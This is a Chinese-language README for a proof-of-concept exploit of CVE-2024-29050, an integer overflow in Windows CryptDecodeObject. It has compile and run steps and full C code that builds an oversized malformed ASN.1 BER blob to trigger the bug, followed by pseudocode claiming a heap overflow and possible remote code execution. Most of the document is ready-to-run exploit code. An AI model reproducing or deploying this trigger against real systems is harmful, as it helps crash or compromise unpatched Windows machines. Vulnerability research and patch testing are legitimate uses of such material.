CVE-2024-29050 - Windows Crypto API 整数溢出漏洞演示
功能特性
- 漏洞复现：演示 CVE-2024-29050 漏洞的触发机制
- 整数溢出攻击：展示如何通过精心构造的证书数据导致整数溢出
- 内存管理错误：触发系统在证书处理过程中的内存分配/释放错误
- CryptDecodeObject 利用：利用 Windows 加密 API 中的 ASN.1 解码漏洞
安装指南
系统要求
- Windows 操作系统（受影响的版本）
- Visual Studio 编译器（或支持 Windows SDK 的 MinGW）
- Windows Crypt32 库和 Bcrypt 库
依赖项
项目需要以下 Windows 库：
Crypt32.lib- 加密证书管理Bcrypt.lib- 加密原语ws2_32.lib- Windows Socket（用于网络字节序转换）
编译步骤
使用 Visual Studio 开发者命令提示符：
# 编译漏洞演示程序
cl cve_2024_29050_demo.c /o cve_2024_29050_demo.exe
或使用 MinGW：
gcc cve_2024_29050_demo.c -o cve_2024_29050_demo.exe -lcrypt32 -lbcrypt -lws2_32
使用说明
基础使用
直接运行编译后的可执行文件：
./cve_2024_29050_demo.exe
程序会尝试构造一个超大的 ASN.1 BER 编码数据块，并通过 CryptDecodeObject API 触发整数溢出。
漏洞触发流程
- 程序分配一个超大的缓冲区（约 64MB + 0x30 字节）
- 构造特定的 ASN.1 BER 编码结构
- 调用
CryptDecodeObject解码类型0x23的证书数据 - 由于整数溢出，系统错误计算内存大小，导致内存管理异常
核心代码
主漏洞触发函数
#include <stdio.h>
#include <windows.h>
#include <winsock.h>
#include <wincrypt.h>
#pragma comment(lib, "Crypt32.lib")
#pragma comment(lib, "Bcrypt.lib")
#pragma comment(lib, "ws2_32.lib")
typedef unsigned int u32;
typedef unsigned char u8;
int main() {
#define MAX_SIZE (0x4000000 + 0x30) // 约 64MB 的超大缓冲区
// 分配测试缓冲区
unsigned char* buf = (char*)calloc(1, MAX_SIZE);
HCERTSTORE hStore = NULL;
PCCERT_CONTEXT pCert = NULL;
BCRYPT_KEY_HANDLE hKey = NULL;
DWORD pcbStructInfo[4];
pcbStructInfo[0] = 0;
// 构造恶意 ASN.1 BER 编码数据
int i = 0;
int j;
// 添加 ASN.1 标签（构造类型 + 上下文特定）
buf[i++] = 0x20 | 0x10; // 构造标志 + 上下文特定类
buf[i++] = 0x84; // 长度字节
// 写入长度值（网络字节序转换）
*(u32*)(buf + i) = ntohl(MAX_SIZE - 0x30 + 2);
i += 4;
// 生成超长序列，模拟 "1.1." OID 前缀
for (j = 0; j < (MAX_SIZE - 0x30 + 2) / 2; j++) {
buf[i++] = 0x20 | 0x10; // 重复构造标签
buf[i++] = 0; // 空值
}
// 触发漏洞：解码特制证书数据
// 整数溢出发生在 CryptDecodeObject 内部的内存计算过程中
CryptDecodeObject(
1, // 编码类型（X509_ASN_ENCODING）
(LPCSTR)0x23, // 结构类型（特定证书结构）
(const BYTE*)buf, // 恶意数据缓冲区
MAX_SIZE - 0x10, // 数据大小
0, // 标志
0, // 解码结构
pcbStructInfo // 返回结构信息大小
);
return 0;
}
漏洞原理说明
整数溢出发生在 CryptDecodeObject 处理 ASN.1 BER 编码数据时。当计算所需内存大小时，程序执行类似以下的操作：
// 伪代码示例 - 存在整数溢出的逻辑
DWORD CalculateRequiredSize(DWORD inputSize) {
DWORD headerSize = 0x30;
DWORD calculatedSize = inputSize + headerSize;
// 当 inputSize 接近 0xFFFFFFFF - headerSize 时，
// calculatedSize 会溢出变为一个很小的值
if (calculatedSize < MAX_ALLOCATION) {
return calculatedSize; // 返回过小的值
}
return inputSize;
}
通过提供精心构造的证书数据（如本演示中的超大序列），攻击者可以使系统分配过小的缓冲区，随后在写入数据时发生堆溢出，最终可能导致远程代码执行。 6HFtX5dABrKlqXeO5PUv/5QN8GYiDNT0NYAyT1vhPU8=
